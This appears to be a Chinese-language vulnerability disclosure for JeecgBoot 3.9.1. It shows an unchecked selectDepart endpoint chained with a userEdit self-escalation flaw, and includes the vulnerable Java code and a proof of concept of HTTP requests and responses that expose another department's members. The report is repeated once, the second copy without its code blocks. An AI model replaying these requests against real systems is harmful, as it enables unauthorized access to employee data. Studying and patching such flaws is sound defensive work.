版本: 3.9.1
1. 漏洞概述
PUT /sys/selectDepart 端点是用户登录后选择当前部门和租户的接口。该端点无任何权限注解,仅需认证即可调用,且服务端对请求中注入的 orgCode 和 loginTenantId 不做任何归属验证,直接持久化到 sys_user 表。
结合 userEdit 提权漏洞,攻击者可以构造两步攻击链:从自己所属的部门 A 切换到目标部门 B 的上下文,再自我升级 userIdentity=2 并设置 departIds 为目标部门,从而获得目标部门的全部成员数据访问权限。
2. 漏洞调用链
2.1 入口 — LoginController.selectDepart
文件: jeecg-module-system/jeecg-system-biz/.../controller/LoginController.java:278-298
@RequestMapping(value = "/selectDepart", method = RequestMethod.PUT)
// ☆ 无 @RequiresPermissions,无 @RequiresRoles ☆
public Result<JSONObject> selectDepart(@RequestBody SysUser user) {
String username = user.getUsername();
if(oConvertUtils.isEmpty(username)) {
LoginUser sysUser = (LoginUser)SecurityUtils.getSubject().getPrincipal();
username = sysUser.getUsername(); // [1] username 从 session 取
}
String orgCode = user.getOrgCode(); // [2] 直接读请求体 orgCode
Integer tenantId = user.getLoginTenantId(); // [3] 直接读请求体 loginTenantId
this.sysUserService.updateUserDepart(username, orgCode, tenantId); // [4] 直接持久化
}
问题: 请求中的 orgCode 和 loginTenantId 不做任何校验——不检查 orgCode 是否属于当前用户的部门列表,不检查 tenantId 是否为用户所属租户。只要用户通过 JWT 认证,就能设置任意值。
2.2 持久化 — SysUserServiceImpl.updateUserDepart()
文件: jeecg-module-system/jeecg-system-biz/.../service/impl/SysUserServiceImpl.java:620-623
@Override
@CacheEvict(value={CacheConstant.SYS_USERS_CACHE}, key="#username")
public void updateUserDepart(String username, String orgCode, Integer loginTenantId) {
baseMapper.updateUserDepart(username, orgCode, loginTenantId);
// → UPDATE sys_user SET org_code=?, login_tenant_id=? WHERE username=?
}
无任何归属验证。Mapper 直接执行 UPDATE。
2.3 协同漏洞 — userEdit 自我升级(J-1)
文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:1803-1816
@PostMapping("/login/setting/userEdit")
@RequiresPermissions("system:user:setting:edit") // ← test 角色持有
public Result<String> userEdit(@RequestBody SysUser sysUser, ...) {
// 所有权检查仅比对 username
if(!username.equals(user.getUsername())) return Result.error("只能修改自己的数据");
sysUserService.updateById(sysUser); // ← 直接持久化请求体
}
userEdit 允许注入 userIdentity=2 和 departIds=<任意部门ID>,且 system:user:setting:edit 被分配给 test 角色(所有用户默认拥有)。
2.4 departUserList
文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:783-826
if(oConvertUtils.isEmpty(depId)){
int userIdentity = user.getUserIdentity() != null ? ... : CommonConstant.USER_IDENTITY_1;
if(userIdentity == CommonConstant.USER_IDENTITY_2 // userIdentity=2
&& oConvertUtils.isNotEmpty(user.getDepartIds())) { // 且 departIds 非空
subDepids = sysDepartService.getMySubDepIdsByDepId(user.getDepartIds());
// → 查询管辖部门的所有用户
}
}
仅 userIdentity=2 且 departIds 非空的用户能看到部门成员列表。
3. PoC 复现步骤
以两个部门为例验证完整攻击链:攻击者隶属于市场部(Dept B,2 个成员),目标窃取财务部(Dept A,4 个成员)的用户列表。
- Dept A (目标): 财务部
a7d7e77e06c84325a40932163adcdaa6 (orgCode=A02A01),有 4 个成员:jeecg, zhangsan, supervisor, testonly
- Dept B (攻击者所属): 市场部
4f1765520d6346f9bd9c79e2479e5b12 (orgCode=A01A03),仅 admin 和攻击者
- 攻击者:
attacker(仅 test 角色,userIdentity=1,属于市场部)
3.1 环境确认
-- 财务部(Dept A) — 攻击目标,4 个成员
SELECT u.username, u.user_identity FROM sys_user u
JOIN sys_user_depart ud ON u.id=ud.user_id WHERE ud.dep_id='a7d7e77e06c84325a40932163adcdaa6';
-- jeecg(1), zhangsan(1), supervisor(2), testonly(1)
-- 市场部(Dept B) — 攻击者所属
SELECT u.username, u.user_identity FROM sys_user u
JOIN sys_user_depart ud ON u.id=ud.user_id WHERE ud.dep_id='4f1765520d6346f9bd9c79e2479e5b12';
-- attacker(1)
3.2 攻击前:攻击者无法看到目标部门数据
以 attacker(市场部,userIdentity=1)登录,调用 departUserList:
GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=10
X-Access-Token: <attacker_jwt>
Response (0 条记录):
{"success":true,"result":{"records":[]}}
3.3 Step 1:selectDepart 切换到目标部门
PUT /jeecg-boot/sys/selectDepart
X-Access-Token: <attacker_jwt>
Content-Type: application/json
{
"orgCode": "A02A01",
"loginTenantId": 1001
}
Response:
{"success":true,"result":{"userInfo":{"orgCode":"A02A01","loginTenantId":1001,...}}}
攻击者的会话上下文已切换到财务部。
3.4 Step 2:userEdit 自我升级为主管并绑定目标部门
POST /jeecg-boot/sys/user/login/setting/userEdit
X-Access-Token: <attacker_jwt>
Content-Type: application/json
{
"id": "<attacker_id>",
"userIdentity": 2,
"departIds": "a7d7e77e06c84325a40932163adcdaa6"
}
Response:
{"success":true,"message":"更新个人信息成功","code":200}
3.5 Step 3:重新登录刷新 Shiro 缓存
POST /jeecg-boot/sys/login
{"username":"attacker","password":"test123","captcha":"...","checkKey":"..."}
3.6 攻击后:攻击者获得目标部门全部成员数据
再次调用 departUserList:
GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=10
X-Access-Token: <attacker_new_jwt>
Response (4 条记录 — 财务部全部成员):
{"success":true,"result":{"records":[
{"username":"jeecg",...},
{"username":"zhangsan",...},
{"username":"supervisor",...},
{"username":"testonly",...}
]}}
3.7 攻击前后对比
所属部门 departUserList 可见用户
──────── ──────────────────────
攻击前 attacker 市场部 0 人 (无权限)
攻击后 attacker 财务部 4 人 (jeecg, zhangsan, supervisor, testonly)
根本原因: selectDepart 的设计意图是让用户从自己的部门列表中选择当前登录部门,但服务端完全信任客户端提交的 orgCode 和 loginTenantId,不做任何归属校验。结合 J-1 的 userEdit 漏洞形成的攻击链,使得攻击者不仅能切换上下文,还能通过自我升级获得目标部门的完整数据访问权。
版本: 3.9.1
1. 漏洞概述
PUT /sys/selectDepart端点是用户登录后选择当前部门和租户的接口。该端点无任何权限注解,仅需认证即可调用,且服务端对请求中注入的orgCode和loginTenantId不做任何归属验证,直接持久化到sys_user表。结合
userEdit提权漏洞,攻击者可以构造两步攻击链:从自己所属的部门 A 切换到目标部门 B 的上下文,再自我升级userIdentity=2并设置departIds为目标部门,从而获得目标部门的全部成员数据访问权限。2. 漏洞调用链
2.1 入口 —
LoginController.selectDepart文件:
jeecg-module-system/jeecg-system-biz/.../controller/LoginController.java:278-298问题: 请求中的
orgCode和loginTenantId不做任何校验——不检查 orgCode 是否属于当前用户的部门列表,不检查 tenantId 是否为用户所属租户。只要用户通过 JWT 认证,就能设置任意值。2.2 持久化 —
SysUserServiceImpl.updateUserDepart()文件:
jeecg-module-system/jeecg-system-biz/.../service/impl/SysUserServiceImpl.java:620-623无任何归属验证。Mapper 直接执行 UPDATE。
2.3 协同漏洞 —
userEdit自我升级(J-1)文件:
jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:1803-1816userEdit允许注入userIdentity=2和departIds=<任意部门ID>,且system:user:setting:edit被分配给test角色(所有用户默认拥有)。2.4
departUserList文件:
jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:783-826仅
userIdentity=2且departIds非空的用户能看到部门成员列表。3. PoC 复现步骤
以两个部门为例验证完整攻击链:攻击者隶属于市场部(Dept B,2 个成员),目标窃取财务部(Dept A,4 个成员)的用户列表。
a7d7e77e06c84325a40932163adcdaa6(orgCode=A02A01),有 4 个成员:jeecg, zhangsan, supervisor, testonly4f1765520d6346f9bd9c79e2479e5b12(orgCode=A01A03),仅 admin 和攻击者attacker(仅 test 角色,userIdentity=1,属于市场部)3.1 环境确认
3.2 攻击前:攻击者无法看到目标部门数据
以
attacker(市场部,userIdentity=1)登录,调用departUserList:Response (0 条记录):
{"success":true,"result":{"records":[]}}3.3 Step 1:
selectDepart切换到目标部门Response:
{"success":true,"result":{"userInfo":{"orgCode":"A02A01","loginTenantId":1001,...}}}攻击者的会话上下文已切换到财务部。
3.4 Step 2:
userEdit自我升级为主管并绑定目标部门Response:
{"success":true,"message":"更新个人信息成功","code":200}3.5 Step 3:重新登录刷新 Shiro 缓存
3.6 攻击后:攻击者获得目标部门全部成员数据
再次调用
departUserList:Response (4 条记录 — 财务部全部成员):
{"success":true,"result":{"records":[ {"username":"jeecg",...}, {"username":"zhangsan",...}, {"username":"supervisor",...}, {"username":"testonly",...} ]}}3.7 攻击前后对比
根本原因:
selectDepart的设计意图是让用户从自己的部门列表中选择当前登录部门,但服务端完全信任客户端提交的orgCode和loginTenantId,不做任何归属校验。结合 J-1 的userEdit漏洞形成的攻击链,使得攻击者不仅能切换上下文,还能通过自我升级获得目标部门的完整数据访问权。